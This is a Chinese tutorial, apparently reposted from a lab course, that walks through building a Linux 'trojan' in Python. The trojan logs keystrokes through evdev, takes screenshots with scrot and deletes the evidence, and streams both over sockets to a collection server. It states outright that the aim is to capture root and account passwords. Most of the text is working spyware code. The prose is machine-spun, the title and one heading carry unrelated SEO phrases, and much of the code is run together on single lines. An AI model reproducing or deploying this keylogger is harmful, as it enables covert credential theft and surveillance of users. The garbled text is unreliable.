木马程序是什么病毒,手机木马程序安装教程,sem搜索引擎营销的站外引流方法

一、实验先容

1.1 实验内容

木马程序会给通俗用户带来许多危害,好比偷取QQ账号,游戏账号等。课程将用Python实现一个浅易的木马程序,该程序会纪录用户的键盘输入和屏幕截图并将数据发送到指定的服务器。通过剖析键盘输入的数据,可以剖析出root密码和其他账号的密码等等。

1.2 实验知识点

  • linux装备文件
  • linux下Python多历程编程
  • Python挪用外部程序
  • Python socket网络编程
  • evdev库的使用
  • Python实现键盘纪录和

1.3 参考代码获取

你可以通过下面下令将代码下载到实验楼环境或者内陆Linux环境中,作为参照对比举行学习。

wget http://labfile.oss.aliyuncs.com/courses/853/trojan.tar.gztar -xvf trojan.tar.gz

二、实验原理

input子系统是linux kernel中与外部输入装备联系对照慎密的模块,例如我们的键盘装备会映射到/dev/input目录下的某个装备文件,由于键盘属于字符装备,以是我们可以将其当做通俗的文件来操作(好比read、write)。通过不停的读取键盘装备文件,就可以完全获取到用户的键盘输入。注重该程序无法运行在windows和macos系统下。

三、开发准备

首先打开xface, 安装实验所需要的第三方库evdev(linux下input输入子系统接见的api库)

sudo apt-get updatesudo apt-get install python-devsudo pip install evdev

然后安装下令行的截屏工具scrot

sudo apt-get install scrot

四、流程梳理

迎接人人加入小编确立的Python行业交流群,有大牛答疑,有资源共享,有企业招人!是一个异常不错的交流基地!群号:683380553

4.1 纪录键盘输入功效

键盘输入功效模块主要凭据以下流程去设计与实现

  1. 找到/dev/input/目录下对应的键盘装备
  2. 使用evdev库获取键盘纪录的原始数据
  3. 对原始数据举行解码处置加入到字符缓冲区
  4. 在字符缓冲区冲处置Backspace、Left、Right等特殊按键操作
  5. 将缓冲区中的内容通过socket套接字接口传输到远程服务器

由于运行在docker容器中的linux没有输入子系统,可以借助X11来纪录键盘输入

详细文档可以参考。本文重点先容基于Linux输入子系统的代码实现。

4.2 程序总体设计

程序主要分为两个大的功效:

  • 键盘纪录
  • 屏幕截图

可以看出这两个功效是完全不相关的,为了到达并行运行的效果,一半情况下接纳

多线程手艺,由于屏幕截图功效基于Python挪用外部程序执行,运行时代会发生

一个子历程用来执行外部程序。以是我们直接接纳多历程来实现。

五、实验步骤

5.1 屏幕截图

屏幕截图功效使用了Python挪用外部程序手艺,常用的库用subprocess、os.system,commands等,在这里我们使用了commands库,等多的用法可以参考 这篇博客。为了让人人对程序明白更深入,请凭据注释中的提醒完成响应的扩展功效作为演习。代码详情见screenshot.py,该代码可以直接执行。

from task import send_pic_taskdef screen_shot(file_name='screen_shot', file_type='png'):""" 本程序未实现指定图片存储的路径,用户自行实现该扩展功效 借助os.path.join函数 """print u'3秒事后截图'time.sleep(3)# 挪用外部程序# 由于服务端代代码也是运行在本机,若是名字一样。那么os.remove操作可能会导致# 在内陆看不到效果ret = commands.getstatusoutput("scrot " + file_name + 'tmp.' + file_type)if ret[0] != 0:print u"图片类型不支持,请换用png jpg等常用花样"return# 读取图像的二进制文件,举行网络传输with open(file_name + 'tmp.' + file_type, "rb") as fp:send_pic_task(fp.read(), file_name, file_type)# 删除scrot天生的图片,作为黑客可不能留下痕迹啊os.remove(file_name + 'tmp.' + file_type)print u'发送屏幕截图完成'

5.2 键盘输入纪录功效

主要凭据4.1的流程来剖析代码。

5.2.1 找到所有的键盘装备

/dev/input/目录下存在一些字符装备文件,通过对这些文件的读写和控制,

可以接见现实装备,更多资料可以参考这里。为了找到键盘装备,

需要领会linux的虚拟内存文件系统sysfs, 它挂在于/sys目录,它存储了系统内核和

装备驱动的实时信息,我们要找的键盘装备的信息可以在/sys/class/input目录

下找到,通过查看devices/name可以发现,该文件纪录了装备的形貌信息。更多关于装备文件和虚拟内存文件系统的知识可以参考这里。

在linux终端下执行下列下令(如linux运行在docker环境中无/dev/input目录,如发现/dev/input目录存在,请跳过此实验步骤或者在内陆Linux环境下实验)

通过代码实现筛选键盘装备(代码详见keylogger/keyboard.py):

def device_filter(dev_content):""" dev_content显示了装备的名称和信息 这里通过关键字查找的方式来判断该装备是否是键盘装备 """# 若是装备信息泛起中泛起了keyboard这个关键词,那么就认为是键盘装备if "keyboard" in dev_content.lower():return Truereturn Falsedef find_keyboard_devices(device_filter_func):""" 找出所有的键盘装备名 """# 切换到/sys/class/input/这个目录下,类似cd下令os.chdir(DEVICES_PATH)result = []# 遍历/sys/class/input/下的所有的目录for each_input_dev in os.listdir(os.getcwd()):# 找到装备信息相关的文件dev_path = DEVICES_PATH + each_input_dev + '/device/name'# 若是这个装备是键盘装备if(os.path.isfile(dev_path) and device_filter_func(file(dev_path).read())):result.append('/dev/input/' + each_input_dev)if not result:print("没有键盘装备")# 直接竣事该历程sys.exit(-1)return resultdef monitor_keyboard(devs):# 将名映射到inputDevice工具devices = map(InputDevice, devs)# dev.fd一个文件形貌符, 然后确立一个字典devices = {dev.fd: dev for dev in devices}return devices

5.2.2 使用evdev获取键盘输入的数据

在这里我们使用evdev库来获取原始的键盘数据,在这里我们使用select库来监听键盘的状态,若有输入时,readers返回键盘的文件形貌符,evdev把键盘的输入转化为多个event工具。在这里只需要筛选类型为EV_KEY的键盘输入event工具即可。库的使用说明可以参考官方文档

def linux_thread_func(file_name, file_type, content_handler, seconds=10):# 获取键盘装备devices = monitor_keyboard(find_keyboard_devices(device_filter))# 维护shift和caps状态, 对evdev库的event工具举行剖析dec = decode_character()# 毗邻到指定的服务器# 运行 python server.py 可发生一个内陆的服务server_instance = NetworkClient({"IP": "127.0.0.1", "PORT": 8888})# 传输一个文本传输的义务text_task = NetworkTaskManager(server_instance, file_type, file_name)hook_handler = [None, ]# 缓冲区处置, 关联网络文本传输义务char_handler = content_handler(text_task.send_content, hook_handler, seconds)now_t = time.time()while True:if int(time.time() - now_t) >= seconds:break# select 是监听文件形貌符的一个库,监听当前所有的键盘装备readers, writes, _ = select(devices.keys(), [], [])# readers可能有多个键盘装备,以是是一个数组结构for r in readers:# 键盘有输入操作events = devices[r].read()for event in events:if event.type == ecodes.EV_KEY:# 转化为自界说的event工具,多了type, status_code属性cus_event = CusKeyEvent(event)# 对event举行剖析ret_char = dec(cus_event)if ret_char:# 将当前字符加入到缓存区,并执行相关的缓冲区操作char_handler(ret_char)

5.2.3 剖析evdev获取的原始数据

pdf字体怎么改字体大小,pdf批量修改字体格式方法

为领会析原始数据,使用了以下功效组件:

  • shift, caps按键的状态治理组件StatusManager
  • 扩展的event工具CurKeyEvent

在按键过程中,shift键和caps键会影响其他键效果(同时按下shift+’z’那么应该是’Z’),因此维护了一个StatusManager工具来治理shift和caps的状态,属性方式get_current_key可以凭据当前的状态输出准确的字符效果。部门其他的按键,好比’,’若是同时按住shfit键那么按键的效果就是<,也是需要注重的地方,可参考get_current_key中的处置。

class StatusManager(object):def __init__(self, *args, **kwargs):"""is_shift_press示意有没有同时按住shift, 同时按住shift和其他按键会导致最后的效果不一样, shift + 'c' => 'C' shift + '.' = > ">" caps 键缘故原由一样, 按一次会酿成大写,再按一次会酿成小写 # bug: 若是在运行本程序之前,caps已经被打开,那么就会导致 程序纪录的字符全是反的,现在没有解决办法 """self.is_shift_press = Falseself.is_caps_lock = Falsedef reverse_status(self, obj):""" 若是是true, 那么返回False, 若是是False, 那么返回True"""if obj:return Falsereturn Truedef recv_caps_message(self):""" 当按了一次caps键后, 会发生这个新闻 将caps的状态置为相反状态 """self.is_caps_lock = self.reverse_status(self.is_caps_lock)def recv_shift_message(self):""" shift键被定时,发生这个新闻 将shift的状态置为相反 """self.is_shift_press = self.reverse_status(self.is_shift_press)def get_current_key(self, in_str):status = False"""当caps和shift键没有同时被使用, 那么就需要小写变大写 例如按了一次caps变大写,再按一次shift就变小写 """" if self.is_shift_press != self.is_caps_lock: status = True if status: return in_str.upper() # 对特殊字符的处置 if self.is_shift_press: return special_character_handler(in_str, True) return in_str def __str__(self): # 用来举行调试的信息 return "capital status " + str(self.is_shift_press != self.is_caps_lock) + "n"
原始的

为了将原始数据对应到ascii码表的字符,我们需要确立一个映射字典:

code_dict = {1: 'ESC', 2: '1', 3: '2', 4: '3', 5: '4', 6: '5', 7: '6', 8: '7', 9: '8',10: '9', 11: '0', 14: 'backspace', 15: 'tab', 16: 'q', 17: 'w', 18: 'e',19: 'r', 20: 't', 21: 'y', 22: 'u', 23: 'i', 24: 'o', 25: 'p', 26: '[',27: ']', 28: 'enter', 29: 'ctrl', 30: 'a', 31: 's', 32: 'd', 33: 'f', 34: 'g',35: 'h', 36: 'j', 37: 'k', 38: 'l', 39: ';', 40: "'", 41: '`', 42: 'shift',43: '', 44: 'z', 45: 'x', 46: 'c', 47: 'v', 48: 'b', 49: 'n', 50: 'm', 51: ',',52: '.', 53: '/', 54: 'shift', 56: 'alt', 57: 'space', 58: 'capslock', 59: 'F1',60: 'F2', 61: 'F3', 62: 'F4', 63: 'F5', 64: 'F6', 65: 'F7', 66: 'F8', 67: 'F9',68: 'F10', 69: 'numlock', 70: 'scrollock', 87: 'F11', 88: 'F12', 97: 'ctrl', 99: 'sys_Rq',100: 'alt', 102: 'home', 104: 'PageUp', 105: 'Left', 106: 'Right', 107: 'End',108: 'Down', 109: 'PageDown', 111: 'del', 125: 'Win', 126: 'Win', 127: 'compose'}

为了简化程序,我们在这里不处置F1~12、Del等按不常用按键的处置,为此我们对按键举行分类,将这类按键划入到unvalidate。而一些特殊按键,好比f5等通过is_show举行过滤,用户可自行修改该方式过滤不需要的按键。

5.2.4 字符缓冲区处置Backspace, Left, Right特殊按键

当使用键盘输入时不可制止的会失足,那么我们会执行回退(Backspace)操作,当按下Backspace按键时上一次输入需要抹除掉,Left和Right操作会调到指定的位置举行输入。以是需要一个字符缓冲区来纪录用户的输入以便处置上述情况。本程序中我们使用列表结构来作为缓冲区。这里一个要注重的地方就是hook_func参数,在Python中要改变传入的参数的值,那么需要传入列表或者是字典结构,这里使用列表来传值。该函数的作用是当程序终止纪录键盘输入时,确保缓冲区的内容所有被发送出去。使用闭包来制止声明全局缓冲区变量。用户可凭据注释里的提醒完成扩展功效。

def content_handler(net_work_handler, hook_func, str_cached_length=10):""" input_str_content 保留键盘输入的内容, str_cached_length 缓冲区的长度为10K net_work_handler函数为处置纪录文件的函数 # TODO 当前的程序每次都需要去盘算内容的长度, 当输入的内容对照长时,是会严重影响性能的 我已经帮你界说了content_length, 请完善char_handler函数 使用content_length来取代len(input_str_content) """input_str_content = []postion = [None, ]content_length = [0, ]# hook_func 是为了保证缓冲区数据所有被发送出去def __hook_func():if input_str_content:net_work_handler("".join(input_str_content))hook_func[0] = __hook_funcdef char_handler(in_str):# backspace键,从缓冲区减去字符if in_str == 'backspace':if input_str_content:input_str_content.pop()# TODO content_length - 1elif in_str == 'Left':# 第一次执行left操作时,从缓存区最右边最先盘算if postion[0] is None:postion[0] = len(input_str_content) - 2else:postion[0] = postion[0] - 1if postion[0] < 0:print u"已经到达当前缓冲区开头"postion[0] = 0elif in_str == 'Right':# 第一次执行right操作时,从缓存区最右边最先盘算if postion[0] is None:postion[0] = len(input_str_content) - 1else:postion[0] = postion[0] + 1if postion[0] >= len(input_str_content):print u"已经到达当前缓冲区末尾"postion[0] = len(input_str_content) - 1else:if postion[0] is None:postion[0] = 0input_str_content.insert(postion[0] + 1, in_str)postion[0] = postion[0] + 1# 缓存区已经满了,此时需要将缓冲区的内容处置# net_word_handler是举行内容处置的函数,保留到内陆文件,# 也可以举行网络传输, 取决于传入的处置函数if len(input_str_content) >= str_cached_length:ret = net_work_handler("".join(input_str_content))if not ret:print u"网络错误,无法发送键盘纪录文件,缓冲区已满, 程序竣事"sys.exit(-2)input_str_content[:] = []# TODO content_length + 1return char_handler

5.2.5 数据举行网络传输

凭据前面的步骤我们已经获取我们所需要的屏幕截图和键盘输入的数据,接下来我们需要将这些数据发送到指定的服务器。在这里需要领会下Python的网络编程的相关知识。首先先容服务端的编程的基本步骤:

  • 确立一个socket套接字工具
  • 绑定这个套接字到服务器的ip和端口号
  • 设置最大链接数目
  • 接受客户端的链接
  • 与客户端举行通讯
  • 关闭相关资源

用Python实现的代码如下,这是一个最基本服务器的实现,该木马程序中的示例服务器也是基于这个模子举行的。

import socketimport json# 开启ip和端口ip_port = ('127.0.0.1', 8888)# 天生一个句柄sk = socket.socket()# 绑定ip端口sk.bind(ip_port)# 最多毗邻数sk.listen(5)# 自界说的数据处置函数def data_handle(data):pass# 开启死循环,接受客户端的请求while True:conn, addr = sk.accept()header_message = conn.recv(1024)# 获取客户端请求数据client_data = conn.recv(1024*10)# 数据举行营业处置data_handle(client_data)conn.close()sk.close()

接下来的我们讨论客户端的实现,客户端的编程的基本模子比服务端要简朴一些。只有两个步骤:

  • 与服务器举行毗邻
  • 和服务器举行数据通讯

现在思索一下在这个木马程序中我们需要给服务器发送那些数据,很容易剖析出我们需要传输<文件名,文件类型,文件的具体内容,竣事标志>,为什么需要竣事标志咧?由于客户端已经发送完数据了,需要通知服务器数据已经完成,可以断开毗邻了,这个时刻客户端和服务器就能正常断开毗邻,将资源还给操作系统了。

现在我们最先思索若何实现客户端的功效,让我们再次梳理一下客户端的功效:

  • 确立与服务器的毗邻
  • 发送文件名和文件类型(简称新闻头部)
  • 发送文件的具体内容
  • 发送竣事标志

在本程序中我们除了发送键盘输入数据外另有屏幕截图,由于这两个功效是并行执行的,以是这两类数据的发送不能共用同一个服务器毗邻(否则键盘数据和图像数据夹杂在一起就没法区分了)。本程序维护了一个服务器毗邻的类,

class NetworkClient(object):def __init__(self, config):self.server_ip = config['IP']self.server_port = config['PORT']# 新建一个scoket工具self.sock = socket.socket()# 确立与服务器的毗邻self.sock.connect((self.server_ip, self.server_port))def send_data(self, data):# 发送数据到服务器ret = self.sock.sendall(data)assert ret != -1def destroy(self):# 断开与服务器的毗邻try:self.sock.close()except Exception as e:print e

将每一次的数据发送抽象成一次网络义务,发送新闻头部就相当于执行了一次网络义务。

class NetworkTaskManager(object):def __init__(self, server_instance, file_type, file_name):self.server_instance = server_instanceself.file_type = file_typeself.file_name = file_name# 发送新闻头, 在这里是为了发送文件名和文件类型self.send_message_header()def send_message_header(self):# 发送新闻头部header_message = {"file_name": self.file_name,"file_type": self.file_type}# 确立一个义务,然后发送响应的内容task = BasicNetworkTask(self.server_instance, json.dumps(header_message))task.run()def send_content(self, content):# 发送文件的正文task = BasicNetworkTask(self.server_instance, content)task.run()return "success"def send_stop_message(self):# 发送竣事标志# 确立一个义务,然后发送响应的内容,告诉数据已经发送完毕content = "rnoverrn"task = BasicNetworkTask(self.server_instance, content)task.run()# 记得释放这个tcp的链接self.server_instance.destroy()

5.2.6 运行程序

上述我们实现了键盘纪录、截图功效、数据发送功效。凭据4.2,在这里讲述下Python的多历程编程,将上述功效组合在一起实现并发运行。 Python下

的多历程编程常用的库是muptiprocessing,multiprocessing库提供了异常壮大的功效,支持子历程、通讯和共享数据。 但因本程序限制在linux环境下,

以是使用更为轻量的os.fork来确立多历程程序。

def main(key_name, pic_name, key_type='txt', pic_type='png'):""" 由于捕捉键盘纪录 和屏幕截图 是两个自力的义务, 以是在这里fork发生一个新的历程来执行屏幕截图 """f = os.fork()if f == 0:# 这里是子历程, 会挪用外部程序screen_shot(pic_name, pic_type)else:# 父历程keylogger_func(key_name, key_type)

接下来我们运行一下程序看一下实验效果。

开启键盘数据的服务

  • python server.py -p 8888

开启吸收图片数据的服务

  • python server -p 8889

运行我们的主程序

  • python main.py

在程序运行时代,你可以在键盘上随便输入就可以举行纪录了。运行效果如下,其中shot.png是服务器保留下来的屏幕截图,key.txt是键盘纪录的数据。

def main(key_name, pic_name, key_type=’txt’, pic_type=’png’):

“””

由于捕捉键盘纪录 和屏幕截图 是两个自力的义务,

以是在这里fork发生一个新的历程来执行屏幕截图

“””

f = os.fork()

if f == 0:

# 这里是子历程, 会挪用外部程序

screen_shot(pic_name, pic_type)

else:

# 父历程

keylogger_func(key_name, key_type)

六 总结

基于Linux的装备治理相关知识和evdev库的使用,实现键盘纪录,并详细先容了缓冲区的处置方式和网络编程的相关知识。行使多历程编程实现

屏幕截图和键盘纪录并发执行的效果。通过该项目的学习和实现,可以领会木马程序的基本结构和原理,加强对Linux的底层的领会,实践网络编程及相关应用。

神级黑客玩家教你使用Python开发一款木马程序!

本文来源于自互联网,不代表n5网立场,侵删。发布者:虚拟资源中心,转载请注明出处:https://www.n5w.com/238951.html

(0)
打赏 微信扫一扫 微信扫一扫
虚拟资源中心虚拟资源中心网络小白
上一篇 2020年7月1日 17:28
下一篇 2020年7月1日 17:28

相关推荐

联系我们

电话:

在线咨询:点击这里给我发消息

邮件:@qq.com

工作时间:周一至周五,9:30-18:30,节假日休息

公众号